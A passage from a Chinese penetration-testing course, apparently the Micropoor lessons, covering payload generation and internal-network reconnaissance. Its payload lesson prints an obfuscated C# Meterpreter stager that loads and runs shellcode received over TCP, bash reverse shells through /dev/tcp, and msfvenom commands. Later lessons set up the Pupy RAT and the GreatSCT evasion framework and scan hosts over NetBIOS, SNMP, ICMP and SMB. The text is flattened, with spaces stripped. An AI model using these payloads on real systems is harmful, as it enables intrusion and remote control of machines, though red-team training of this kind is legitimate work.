在实战中可能会遇到各种诉求payload,并且可能遇到各种实际问题,如杀毒软件,防火墙拦截,特 定端口通道,隧道等问题。这里我们根据第十课补充其中部分,其他内容后续补充。 这次主要补充了C#,Bash ps:在线代码高亮:http://tool.oschina.net/highlight 1. msf>useexploit/multi/handler 2. msfexploit(handler)>setpayloadwindows/meterpreter/reverse_tcp 3. payload=>windows/meterpreter/reverse_tcp 4. msfexploit(handler)>setLHOST192.168.1.107 5. LHOST=>192.168.1.107 混淆: 1. usingSystem;usingSystem.Net;usingSystem.Net.Sockets;using System.Runtime.InteropServices;usingSystem. 2. namespaceRkfCHtll{classLiNGeDokqnEH{ 3. staticbyte[]idCWVw(stringVVUUJUQytjlL,inteMcukOUqFuHbUv){ 4. IPEndPointnlttgWAMdEQgAo=newIPEndPoint(IPAddress.Parse(VVUUJUQytjlL), 5. eMcukOUqFuHbUv); 6. SocketfzTiwdk=newSocket(AddressFamily.InterNetwork, 7. SocketType.Stream,ProtocolType.Tcp); 8. try{fzTiwdk.Connect(nlttgWAMdEQgAo);} 9. catch{returnnull;} 10. byte[]gJVVagJmu=newbyte[4]; 11. fzTiwdk.Receive(gJVVagJmu,4,0); 12. intGFxHorfhzft=BitConverter.ToInt32(gJVVagJmu,0); 13. byte[]mwxyRsYNn=newbyte[GFxHorfhzft+5]; 14. intyVcZAEmXaMszAc=0; 15. while(yVcZAEmXaMszAc<GFxHorfhzft) 16. {yVcZAEmXaMszAc+=fzTiwdk.Receive(mwxyRsYNn,yVcZAEmXaMszAc+5, (GFxHorfhzft-yVcZAEmXaMszAc)<4096 17. byte[]XEvFDc=BitConverter.GetBytes((int)fzTiwdk.Handle); 18. Array.Copy(XEvFDc,0,mwxyRsYNn,1,4);mwxyRsYNn[0]=0xBF; 19. returnmwxyRsYNn;} 20. staticvoidhcvPkmyIZ(byte[]fPnfqu){ 21. if(fPnfqu!=null){ 22. UInt32hcoGPUltNcjK=VirtualAlloc(0,(UInt32)fPnfqu.Length,0x1000, 0x40); 1、C#-payload 第十五课:基于第十课补充payload2 -135- 本文档使用书栈(BookStack.CN)构建 23. Marshal.Copy(fPnfqu,0,(IntPtr)(hcoGPUltNcjK),fPnfqu.Length); 24. IntPtrxOxEPnqW=IntPtr.Zero; 25. UInt32ooiiZLMzO=0; 26. IntPtrwxPyud=IntPtr.Zero; 27. xOxEPnqW=CreateThread(0,0,hcoGPUltNcjK,wxPyud,0,refooiiZLMzO); 28. WaitForSingleObject(xOxEPnqW,0xFFFFFFFF);}} 29. staticvoidMain(){ 30. byte[]dCwAid=null;dCwAid=idCWVw("xx.xx.xx.xx",xx); 31. hcvPkmyIZ(dCwAid);} 32. [DllImport("kernel32")]privatestaticexternUInt32 VirtualAlloc(UInt32qWBbOS,UInt32HoKzSHMU,UInt[DllImport("kernel32")]private staticextern 33. IntPtrCreateThread(UInt32tqUXybrozZ,UInt32FMmVpwin,UInt32H 34. [DllImport("kernel32")]privatestaticexternUInt32 35. WaitForSingleObject(IntPtrCApwDwK,UInt32uzGJUddCYTd); 1. i>&/dev/tcp/xx.xx.xx.xx/xx0>&1 2、Bash-payload 第十五课:基于第十课补充payload2 -136- 本文档使用书栈(BookStack.CN)构建 1. exec5<>/dev/tcp/xx.xx.xx.xx/xx 2. cat<&5|whilereadline;do$line2>&5>&5;done msfvenom生成bash 1. root@John:~#msfvenom-pcmd/unix/reverse_bashLHOST=xx.xx..xx.xxLPORT=xx>-f 附录: 第十五课:基于第十课补充payload2 -137- 本文档使用书栈(BookStack.CN)构建 raw>payload.sh 参数简化 项目地址: https://github.com/g0tmi1k/mpc Micropoor 第十五课:基于第十课补充payload2 -138- 本文档使用书栈(BookStack.CN)构建 在团体渗透测试的项目中,如红蓝对抗,团队渗透测试比赛等,最重要的是过程与结果实时共享于团 队,例如:A同学nmap目标站,B同学也nmap目标站,这在对抗比赛中是极其浪费时间也是非常容易引 起防火墙,日志服务器或其他设备的警觉。所以打算写一系列关于未来团队渗透的对抗。争取做到过程 与结果,团队实时共享。把曾经的团队作战经验形成一个适应对抗,比赛等的参考。 BloodHound是2016年出现大家的视线中,它是一个分析和解读AD中权限关系的一个工具。对于攻击 者来说,能快速的获取到域中的线索以便进行下一步攻击,而对于防御者来说,可以更快速的得知攻击 者可能采取的攻击途径以及域中的可突破的途径。 项目地址: https://github.com/BloodHoundAD/BloodHound Debian上安装: 1. root@John:~#apt-getinstallgitwgetcurl 2. root@John:~#wget-O-https://debian.neo4j.org/neotechnology.gpg.key|sudoapt- keyadd 3. root@John:~#echo'debhttp://debian.neo4j.org/repostable/'|sudotee /etc/apt/sources.list.d/neo4j.list 4. root@John:~#apt-getinstallopenjdk-8-jdkopenjdk-8-jre 5. root@John:~#apt-getinstallneo4j 前言: BloodHound简介: 第十六课:红蓝对抗渗透测试1 -139- 本文档使用书栈(BookStack.CN)构建 6. root@John:~#echo"dbms.active_database=graph.db">>/etc/neo4j/neo4j.conf 7. root@John:~#echo"dbms.connector.http.address=0.0.0.0:7474">> /etc/neo4j/neo4j.conf 8. root@John:~#echo"dbms.connector.bolt.address=0.0.0.0:7687">> 9. /etc/neo4j/neo4j.conf 10. root@John:~#tail/etc/neo4j/neo4j.conf 11. #Nameoftheservice 12. dbms.windows_service_name=neo4j 13. #******************************************************************** 14. #OtherNeo4jsystemproperties 15. #******************************************************************** 16. 17. dbms.jvm.additional=-Dunsupported.dbms.udc.source=tarball 18. dbms.active_database=graph.dbdbms.connector.http.address=0.0.0.0:7474 19. dbms.connector.bolt.address=0.0.0.0:7687 20. 21. root@John:~j#update-java-alternatives-ljava-1.8.0-openjdk-amd641081 /usr/lib/jvm/java-1.8.0-openjdk-amd64 22. 23. root@John:~j#update-java-alternatives-sjava-1.8.0-openjdk-amd64 下载地址:https://neo4j.com/download/ 1. root@John:~/Downloads#tarzxvfneo4j-community-3.3.0-unix.tar.gz 2. root@John:~/Downloads/neo4j-community-3.3.0/bin#./neo4jstart 3. Activedatabase:graph.db 4. Directoriesinuse: 5. home:/root/Downloads/neo4j-community-3.3.0 6. config:/root/Downloads/neo4j-community-3.3.0/conf 7. logs:/root/Downloads/neo4j-community-3.3.0/logs 8. plugins:/root/Downloads/neo4j-community-3.3.0/plugins 9. import:/root/Downloads/neo4j-community-3.3.0/import 10. data:/root/Downloads/neo4j-community-3.3.0/data 11. certificates:/root/Downloads/neo4j-community-3.3.0/certificates 12. run:/root/Downloads/neo4j-community-3.3.0/run 13. StartingNeo4j. 14. WARNING:Max1024openfilesallowed,minimumof40000recommended.Seethe Neo4jmanual. 15. Startedneo4j(pid4286).Itisavailableathttp://localhost:7474/Theremay beashortdelayuntiltheserverisready. 16. See/root/Downloads/neo4j-community-3.3.0/logs/neo4j.logforcurrentstatus. 第十六课:红蓝对抗渗透测试1 -140- 本文档使用书栈(BookStack.CN)构建 1. root@John:~#apt-getinstallbloodhound 1. root@John:~/Downloads/neo4j-community-3.3.0/bin#nmap127.0.0.1-p7474 2. 3. StartingNmap7.40(https://nmap.org)at2017-12-0211:16EST 4. Nmapscanreportforlocalhost(127.0.0.1)Hostisup(0.00011slatency). 5. PORTSTATESERVICE 6. 7474/tcpopenneo4j 7. 8. Nmapdone:1IPaddress(1hostup)scannedin0.17seconds 第十六课:红蓝对抗渗透测试1 -141- 本文档使用书栈(BookStack.CN)构建 Micropoor 第十六课:红蓝对抗渗透测试1 -142- 本文档使用书栈(BookStack.CN)构建 在团体渗透测试的项目中,如红蓝对抗,团队渗透测试比赛等,最重要的是过程与结果实时共享于团 队,例如:A同学nmap目标站,B同学也nmap目标站,这在对抗比赛中是极其浪费时间也是非常容易引 起防火墙,日志服务器或其他设备的警觉。所以打算写一系列关于未来团队渗透的对抗。争取做到过程 与结果,团队实时共享。把曾经的团队作战经验形成一个适应对抗,比赛等的参考。 Pupy是一个开源,跨平台(Windows,Linux,OSX,Android),多功能RAT(远程管理工具)和主 要用python编写的后期开发工具。它具有全内存读取操作,进程注入等。Pupy可以使用各种传输进行 通信,迁移到进程(注入),从内存加载远程Python代码。 项目地址:https://github.com/n1nj4sec/pupy 1. root@John:~/Desktop#gitclonehttps://github.com/n1nj4sec/pupy.git 前言: popy简介: 第十七课:红蓝对抗渗透测试2 -143- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/pupy/pupy#pipinstallrpyc 1. root@John:~/Desktop/pupy/pupy#gitsubmoduleupdate 1. root@John:~/Desktop/pupy/pupy#cd.. 2. root@John:~/Desktop/pupy#pipinstall-rpupy/requirements.txt 第十七课:红蓝对抗渗透测试2 -144- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/pupy/#wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz 1. root@John:~/Desktop/pupy#tarxvfpayload_templates.txz&&mv payload_templates/*pupy/payload_templates/&&rmpayload_templates.txz&&rm- rpayload_templates 第十七课:红蓝对抗渗透测试2 -145- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/pupy/pupy#apt-getinstallpython-xlib 第十七课:红蓝对抗渗透测试2 -146- 本文档使用书栈(BookStack.CN)构建 1. Collectingpyautogui 2. UsingcachedPyAutoGUI-0.9.36.tar.gz 3. Completeoutputfromcommandpythonsetup.pyegg_info: 4. Traceback(mostrecentcalllast): 5. File"<string>",line1,in<module> 6. File"/tmp/pip-build-a90ODY/pyautogui/setup.py",line6,in<module> version=__import__('pyautogui').__version__, 7. File"pyautogui/__init__.py",line115,in<module> 8. from.import\_pyautogui_x11asplatformModule 9. File"pyautogui/_pyautogui_x11.py",line160,in<module> 10. _display=Display(os.environ['DISPLAY']) 11. File"/usr/lib/python2.7/UserDict.py",line40,in__getitem__ 12. raiseKeyError(key) 13. KeyError:'DISPLAY' mustinstallonlocalserverwithGUI Micropoor 附录: 第十七课:红蓝对抗渗透测试2 -147- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 工具介绍: https://github.com/GreatSCT/GreatSCT GreatSCT是以metasploitpayload为核心,白名单辅助payload执行框架。 1. root@John:~#gitclonehttps://github.com/GreatSCT/GreatSCT.git 2. Cloninginto'GreatSCT'... 3. remote:Enumeratingobjects:727,done. 4. remote:Total727(delta0),reused0(delta0),pack‐reused727 5. Receivingobjects:100%(727/727),10.64MiB|572.00KiB/s,done. 6. Resolvingdeltas:100%(384/384),done. 简介: 第十八课:红蓝对抗渗透测试3 -148- 本文档使用书栈(BookStack.CN)构建 第十八课:红蓝对抗渗透测试3 -149- 本文档使用书栈(BookStack.CN)构建 1. =========================================================================== 2. GreatScott! 3. =========================================================================== 4. [Web]:https://github.com/GreatSCT/GreatSCT|[Twitter]:@ConsciousHacker 5. =========================================================================== 6. 7. Payloadinformation: 8. 9. Name:PureMSBuildC#ReverseTCPStager 第十八课:红蓝对抗渗透测试3 -150- 本文档使用书栈(BookStack.CN)构建 10. Language:msbuild 11. Rating:Excellent 12. Description:purewindows/meterpreter/reverse_tcpstager,no 13. shellcode 14. 15. Payload:msbuild/meterpreter/rev_tcpselected 16. 17. RequiredOptions: 18. 19. NameValueDescription 20. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 21. DOMAINXOptional:Requiredinternaldomain 22. EXPIRE_PAYLOADXOptional:Payloadsexpireafter"Y"days 23. HOSTNAMEXOptional:Requiredsystemhostname 24. INJECT_METHODVirtualVirtualorHeap 25. LHOSTIPoftheMetasploithandler 26. LPORT4444PortoftheMetasploithandler 27. PROCESSORSXOptional:Minimumnumberofprocessors 28. SLEEPXOptional:Sleep"Y"seconds,checkifaccelerated 29. TIMEZONEXOptional:ChecktovalidatenotinUTC 30. USERNAMEXOptional:Therequireduseraccount 31. 32. AvailableCommands: 33. 34. backGoback 35. exitCompletelyexitGreatSCT 36. generateGeneratethepayload 37. optionsShowtheshellcode'soptions 38. setSetshellcodeoption 39. 40. [msbuild/meterpreter/rev_tcp>>]setLHOST192.168.1.441 41. 42. [msbuild/meterpreter/rev_tcp>>]setLPORT53 Micropoor 第十八课:红蓝对抗渗透测试3 -151- 本文档使用书栈(BookStack.CN)构建 IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用 程序编程接口(API),为程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以 及其他特殊功能。 系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名-——特指基于NETBIOS协议获得 计算机名称——解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实 现消息通信及资源的共享。 1. root@John:~#nmap-sU--scriptnbstat.nse-p137192.168.1.0/24-T4 1. msf>useauxiliary/scanner/netbios/nbname netbios简介: nmap扫描: msf扫描: 第十九课:基于netbios发现内网存活主机 -152- 本文档使用书栈(BookStack.CN)构建 项目地址: http://www.unixwiz.net/tools/nbtscan.html Windows: 1. D:\>nbtscan-1.0.35.exe-m192.168.1.0/24 1. D:\>nbtstat-n(推荐) nbtscan扫描: 第十九课:基于netbios发现内网存活主机 -153- 本文档使用书栈(BookStack.CN)构建 第十九课:基于netbios发现内网存活主机 -154- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/nbtscan#tar-zxvf./nbtscan-source-1.0.35.tgz(1.5.1版本在 附录) 2. root@John:~/Desktop/nbtscan#make 3. root@John:~/Desktop/nbtscan#nbtscan-r192.168.1.0/24 Linux:(推荐) 第十九课:基于netbios发现内网存活主机 -155- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/nbtscan#nbtscan-v-s:192.168.1.0/24 项目地址: https://www.nirsoft.net/utils/netbios_scanner.html NetBScanner: 第十九课:基于netbios发现内网存活主机 -156- 本文档使用书栈(BookStack.CN)构建 nbtscan: 链接:https://pan.baidu.com/s/1hs8ckmg 密码:av40 1. NBTscanversion1.5.1.Copyright(C)1999-2003AllaBezroutchko.Thisisafree softwareanditcomeswithabsolutelynowarranty.Youcanuse,distributeand modifyitundertermsofGNUGPL. 2. 3. Usage: 4. nbtscan[-v][-d][-e][-l][-ttimeout][-bbandwidth][-r][-q][-s separator][-mretransmits](-ffilename)|(<scan_range>) 5. -vverboseoutput.Printallnamesreceivedfromeachhost 6. -ddumppackets.Printwholepacketcontents. 7. -eFormatoutputin/etc/hostsformat. 8. -lFormatoutputinlmhostsformat.Cannotbeusedwith-v,-sor-h options. 9. -ttimeoutwaittimeoutmillisecondsforresponse.Default1000. 附录: 第十九课:基于netbios发现内网存活主机 -157- 本文档使用书栈(BookStack.CN)构建 10. -bbandwidthOutputthrottling.Slowdownoutputsothatitusesnomore thatbandwidthbps.Usefulonslowlinks,sothatougoingqueriesdon'tget dropped. 11. -ruselocalport137forscans.Win95boxesrespondtothisonly.Youneed toberoottousethisoptiononUnix. 12. -qSuppressbannersanderrormessages, 13. -sseparatorScript-friendlyoutput.Don'tprintcolumnandrecordheaders, separatefieldswithseparator. 14. -hPrinthuman-readablenamesforservices.Canonlybeusedwith-v option. 15. -mretransmitsNumberofretransmits.Default0. 16. -ffilenameTakeIPaddressestoscanfromfilefilename. 17. -f-makesnbtscantakeIPaddressesfromstdin. 18. <scan_range>whattoscan.CaneitherbesingleIP 19. like192.168.1.1or 20. rangeofaddressesinoneoftwoforms: 21. xxx.xxx.xxx.xxx/xxorxxx.xxx.xxx.xxx-xxx. 22. 23. Examples: 24. nbtscan-r192.168.1.0/24 25. ScansthewholeC-classnetwork. 26. nbtscan192.168.1.25-137 27. Scansarangefrom192.168.1.25to192.168.1.137 28. nbtscan-v-s:192.168.1.0/24 29. ScansC-classnetwork.Printsresultsinscript-friendly 30. formatusingcolonasfieldseparator. 31. Producesoutputlikethat: 32. 192.168.0.1:NT_SERVER:00U 33. 192.168.0.1:MY_DOMAIN:00G 34. 192.168.0.1:ADMINISTRATOR:03U 35. 192.168.0.2:OTHER_BOX:00U 36. ... 37. nbtscan-fiplist 38. ScansIPaddressesspecifiedinfileiplist. NBTscanversion1.5.1: 项目地址: https://github.com/scallywag/nbtscan Micropoor 第十九课:基于netbios发现内网存活主机 -158- 本文档使用书栈(BookStack.CN)构建 SNMP是一种简单网络管理协议,它属于TCP/IP五层协议中的应用层协议,用于网络管理的协议。SNMP 主要用于网络设备的管理。SNMP协议主要由两大部分构成:SNMP管理站和SNMP代理。SNMP管理站是 一个中心节点,负责收集维护各个SNMP元素的信息,并对这些信息进行处理,最后反馈给网络管理员; 而SNMP代理是运行在各个被管理的网络节点之上,负责统计该节点的各项信息,并且负责与SNMP管理 站交互,接收并执行管理站的命令,上传各种本地的网络信息。 1. root@John:~#nmap-sU--scriptsnmp-brute192.168.1.0/24-T4 SNMP简介: nmap扫描: 第二十课:基于snmp发现内网存活主机 -159- 本文档使用书栈(BookStack.CN)构建 1. msf>useauxiliary/scanner/snmp/snmp_enum 项目地址: https://www.mcafee.com/us/downloads/free-tools/snscan.aspx 依然是一块macafee出品的攻击 msf扫描: 第二十课:基于snmp发现内网存活主机 -160- 本文档使用书栈(BookStack.CN)构建 项目地址: https://www.adremsoft.com/demo/ 内网安全审计工具,包含了DNS审计,ping扫描,端口,网络服务等。 NetCrunch: 第二十课:基于snmp发现内网存活主机 -161- 本文档使用书栈(BookStack.CN)构建 项目地址: https://github.com/dheiland-r7/snmp snmpforpl扫描: 第二十课:基于snmp发现内网存活主机 -162- 本文档使用书栈(BookStack.CN)构建 snmpbulkwalk: 其他扫描: 第二十课:基于snmp发现内网存活主机 -163- 本文档使用书栈(BookStack.CN)构建 snmp-check: 第二十课:基于snmp发现内网存活主机 -164- 本文档使用书栈(BookStack.CN)构建 snmptest: 1. useauxiliary/scanner/snmp/aix_versionuseauxiliary/scanner/snmp/snmp_enum 2. useauxiliary/scanner/snmp/arris_dg950 3. useauxiliary/scanner/snmp/snmp_enum_hp_laserjet 4. useauxiliary/scanner/snmp/brocade_enumhashuse auxiliary/scanner/snmp/snmp_enumshares 5. useauxiliary/scanner/snmp/cambium_snmp_lootuse auxiliary/scanner/snmp/snmp_enumusers 6. useauxiliary/scanner/snmp/cisco_config_tftpuse auxiliary/scanner/snmp/snmp_login 7. useauxiliary/scanner/snmp/cisco_upload_fileuse auxiliary/scanner/snmp/snmp_set 8. useauxiliary/scanner/snmp/netopia_enum 9. useauxiliary/scanner/snmp/ubee_ddw3611 附录: 第二十课:基于snmp发现内网存活主机 -165- 本文档使用书栈(BookStack.CN)构建 10. useauxiliary/scanner/snmp/sbg6580_enum 11. useauxiliary/scanner/snmp/xerox_workcentre_enumusers 其他内网安全审计工具(snmp): 项目地址:https://www.solarwinds.com/topics/snmp-scanner 项目地址:https://www.netscantools.com/nstpro_snmp.html Can’tlocateNetAddr/IP 1. root@John:~/Desktop/snmp#wgethttp://www.cpan.org/modules/by- module/NetAddr/NetAddr-IP-4.078.tar.gz 1. root@John:~/Desktop/snmp#tarxvzf./NetAddr-IP-4.078.tar.gz snmpforpl: 第二十课:基于snmp发现内网存活主机 -166- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/snmp#cdNetAddr-IP-4.078/ 2. root@John:~/Desktop/snmp/NetAddr-IP-4.078#ls 3. About-NetAddr-IP.txtArtisticChanges 4. CopyingdocsIP.pmLiteMakefile.PL 5. MANIFESTMANIFEST.SKIPMETA.ymltTODO 6. root@John:~/Desktop/snmp/NetAddr-IP-4.078#perlMakefile.PL 第二十课:基于snmp发现内网存活主机 -167- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/snmp/NetAddr-IP-4.078#make 第二十课:基于snmp发现内网存活主机 -168- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/snmp/NetAddr-IP-4.078#makeinstall 第二十课:基于snmp发现内网存活主机 -169- 本文档使用书栈(BookStack.CN)构建 >_<!! Micropoor 第二十课:基于snmp发现内网存活主机 -170- 本文档使用书栈(BookStack.CN)构建 它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不 通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于 用户数据的传递起着重要的作用。 1. root@John:~#nmap‐sP‐PI192.168.1.0/24‐T4 1. root@John:~#nmap‐sn‐PE‐T4192.168.1.0/24 ICMP简介: nmap扫描: 第二十一课:基于ICMP发现内网存活主机 -171- 本文档使用书栈(BookStack.CN)构建 1. for/L%Pin(1,1,254)DO@ping‐w1‐n1192.168.1.%P|findstr"TTL=" 1. powershell.exe‐execbypass‐Command"Import‐Module./Invoke‐TSPingSweep.ps1 2. ;Invoke‐TSPingSweep‐StartAddress192.168.1.1‐EndAddress192.168.1.254‐ Resolv 3. eHost‐ScanPort‐Port445,135" CMD下扫描: powershell扫描: 第二十一课:基于ICMP发现内网存活主机 -172- 本文档使用书栈(BookStack.CN)构建 1. D:\>tcping.exe‐n1192.168.1.080 powershell脚本与tcping(来源互联网,后门自查) 链接:https://pan.baidu.com/s/1dEWUBNN 密码:9vge Micropoor 附录: 第二十一课:基于ICMP发现内网存活主机 -173- 本文档使用书栈(BookStack.CN)构建 模块: scanner/smb/smb_version 1. msfauxiliary(scanner/smb/smb_version)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/smb/smb_version): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 8. SMBDomain.noTheWindowsdomaintouseforauthentication 9. SMBPassnoThepasswordforthespecifiedusername 10. SMBUsernoTheusernametoauthenticateas 11. THREADS1yesThenumberofconcurrentthreads 12. 13. msfauxiliary(scanner/smb/smb_version)>setthreads20 14. threads=>20 15. msfauxiliary(scanner/smb/smb_version)>exploit 16. 17. [+]192.168.1.4:445‐HostisrunningWindows7UltimateSP1(build:7601) (name:XXXXXX)(workgroup:WORKGROUP) 18. [*]Scanned39of256hosts(15%complete) 19. [*]Scanned61of256hosts(23%complete) 20. [*]Scanned81of256hosts(31%complete) 21. [+]192.168.1.99:445‐HostisrunningWindows7UltimateSP1(build:7601) (name:XXXXXX)(workgroup:WORKGROUP) 22. [+]192.168.1.119:445‐HostisrunningWindows2003R2SP2(build:3790) (name:XXXXXX) 23. [*]Scanned103of256hosts(40%complete) 24. [*]Scanned130of256hosts(50%complete) 25. [*]Scanned154of256hosts(60%complete) 26. [*]Scanned181of256hosts(70%complete) 27. [*]Scanned205of256hosts(80%complete) 28. [*]Scanned232of256hosts(90%complete) 29. [*]Scanned256of256hosts(100%complete) 30. [*]Auxiliarymoduleexecutioncompleted 基于msf 第二十二课:基于SMB发现内网存活主机 -174- 本文档使用书栈(BookStack.CN)构建 1. root@John:~#cmesmb192.168.1.0/24 2. SMB192.168.1.4445JOHN‐PC[*]Windows7Ultimate7601ServicePack1 3. x64(name:JOHN‐PC)(domain:JOHN‐PC)(signing:False)(SMBv1:True) 4. SMB192.168.1.99445JOHN‐PC[*]Windows7Ultimate7601ServicePack 5. x64(name:JOHN‐PC)(domain:JOHN‐PC)(signing:False)(SMBv1:True) 6. SMB192.168.1.119445WIN03X64[*]WindowsServer2003R23790Service 7. Pack2x32(name:WIN03X64)(domain:WIN03X64)(signing:False)(SMBv1:True 1. root@John:~#nmap‐sU‐sS‐‐scriptsmb‐enum‐shares.nse‐p445192.168.1.119 2. StartingNmap7.70(https://nmap.org)at2019‐01‐2908:45EST 3. Nmapscanreportfor192.168.1.119 4. Hostisup(0.0029slatency). 5. 6. PORTSTATESERVICE 7. 445/tcpopenmicrosoft‐ds 8. 445/udpopen|filteredmicrosoft‐ds 9. MACAddress:00:0C:29:85:D6:7D(VMware) 基于cme(参考第九十三课) 基于nmap 第二十二课:基于SMB发现内网存活主机 -175- 本文档使用书栈(BookStack.CN)构建 10. 11. Hostscriptresults: 12. |smb‐enum‐shares: 13. |account_used:guest 14. |\\192.168.1.119\ADMIN$: 15. |Type:STYPE_DISKTREE_HIDDEN 16. |Comment:\xE8\xBF\x9C\xE7\xA8\x8B\xE7\xAE\xA1\xE7\x90\x86 17. |Anonymousaccess:<none> 18. |Currentuseraccess:<none> 19. |\\192.168.1.119\C$: 20. |Type:STYPE_DISKTREE_HIDDEN 21. |Comment:\xE9\xBB\x98\xE8\xAE\xA4\xE5\x85\xB1\xE4\xBA\xAB 22. |Anonymousaccess:<none> 23. |Currentuseraccess:<none> 24. |\\192.168.1.119\E$: 25. |Type:STYPE_DISKTREE_HIDDEN 26. |Comment:\xE9\xBB\x98\xE8\xAE\xA4\xE5\x85\xB1\xE4\xBA\xAB 27. |Anonymousaccess:<none> 28. |Currentuseraccess:<none> 29. |\\192.168.1.119\IPC$: 30. |Type:STYPE_IPC_HIDDEN 31. |Comment:\xE8\xBF\x9C\xE7\xA8\x8BIPC 32. |Anonymousaccess:READ 33. |Currentuseraccess:READ/WRITE 34. |\\192.168.1.119\share: 35. |Type:STYPE_DISKTREE 36. |Comment: 37. |Anonymousaccess:<none> 38. |_Currentuseraccess:READ/WRITE 39. 40. Nmapdone:1IPaddress(1hostup)scannedin1.24seconds 第二十二课:基于SMB发现内网存活主机 -176- 本文档使用书栈(BookStack.CN)构建 1. for/l%ain(1,1,254)dostart/min/lowtelnet192.168.1.%a445 基于CMD: 第二十二课:基于SMB发现内网存活主机 -177- 本文档使用书栈(BookStack.CN)构建 一句话扫描: 单IP: 1. 445|%{echo((new‐objectNet.Sockets.TcpClient).Connect("192.168.1.1 2. 19",$_))"$_isopen"}2>$null 多ip: 1. 1..5|%{$a=$_;445|%{echo((new‐object 2. Net.Sockets.TcpClient).Connect("192.168.1.$a",$_))"Port$_isopen"} 3. 2>$null} 多port,多IP: 基于powershell: 第二十二课:基于SMB发现内网存活主机 -178- 本文档使用书栈(BookStack.CN)构建 1. 118..119|%{$a=$_;write‐host"‐‐‐‐‐‐";write‐host 2. "192.168.1.$a";80,445|%{echo((new‐objectNet.Sockets.TcpClient).Conn 3. ect("192.168.1.$a",$_))"Port$_isopen"}2>$null} Micropoor 第二十二课:基于SMB发现内网存活主机 -179- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机: 192.168.1.5Debian 靶机: 192.168.1.2Windows7 192.168.1.119Windows2003 1. msf>searchscannertype:auxiliary 2. 3. MatchingModules 4. ================ 5. 6. NameDisclosureDateRankCheckDescription 7. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 8. auxiliary/admin/appletv/appletv_display_imagenormalNoAppleTVImageRemote Control 9. auxiliary/admin/appletv/appletv_display_videonormalNoAppleTVVideoRemote Control 10. auxiliary/admin/smb/check_dir_filenormalYesSMBScannerCheckFile/Directory Utility 11. auxiliary/admin/teradata/teradata_odbc_sql2018‐03‐29normalYesTeradataODBC SQLQueryModule 12. auxiliary/bnat/bnat_scannormalYesBNATScanner 13. auxiliary/gather/citrix_published_applicationsnormalNoCitrixMetaFrameICA PublishedApplicationsScanner 14. auxiliary/gather/enum_dnsnormalNoDNSRecordScannerandEnumerator 15. .... 16. auxiliary/scanner/winrm/winrm_cmdnormalYesWinRMCommandRunner 17. auxiliary/scanner/winrm/winrm_loginnormalYesWinRMLoginUtility 18. auxiliary/scanner/winrm/winrm_wqlnormalYesWinRMWQLQueryRunner 19. auxiliary/scanner/wproxy/att_open_proxy2017‐08‐31normalYesOpenWAN‐to‐LAN proxyonAT&Trouters 20. auxiliary/scanner/wsdd/wsdd_querynormalYesWS‐DiscoveryInformationDiscovery 21. auxiliary/scanner/x11/open_x11normalYesX11No‐AuthScanner MSF的search支持type搜索: 第二十三课:基于MSF发现内网存活主机第一季 -180- 本文档使用书栈(BookStack.CN)构建 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 1. msfauxiliary(scanner/http/http_version)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/http/http_version): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. ProxiesnoAproxychainofformattype:host:port[,type:host:port][...] 8. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 9. RPORT80yesThetargetport(TCP) 10. SSLfalsenoNegotiateSSL/TLSforoutgoingconnections 11. THREADS20yesThenumberofconcurrentthreads 12. VHOSTnoHTTPservervirtualhost 13. 14. msfauxiliary(scanner/http/http_version)>exploit 15. 16. [+]192.168.1.1:80 17. [*]Scanned27of256hosts(10%complete) 18. [*]Scanned63of256hosts(24%complete) 19. [*]Scanned82of256hosts(32%complete) 20. [*]Scanned103of256hosts(40%complete) 21. [+]192.168.1.119:80Microsoft‐IIS/6.0(PoweredbyASP.NET) 22. [*]Scanned129of256hosts(50%complete) 一:基于scanner/http/http_version发现HTTP服务 第二十三课:基于MSF发现内网存活主机第一季 -181- 本文档使用书栈(BookStack.CN)构建 23. [*]Scanned154of256hosts(60%complete) 24. [*]Scanned182of256hosts(71%complete) 25. [*]Scanned205of256hosts(80%complete) 26. [*]Scanned231of256hosts(90%complete) 27. [*]Scanned256of256hosts(100%complete) 28. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/smb/smb_version)>showoptions 2. 3. 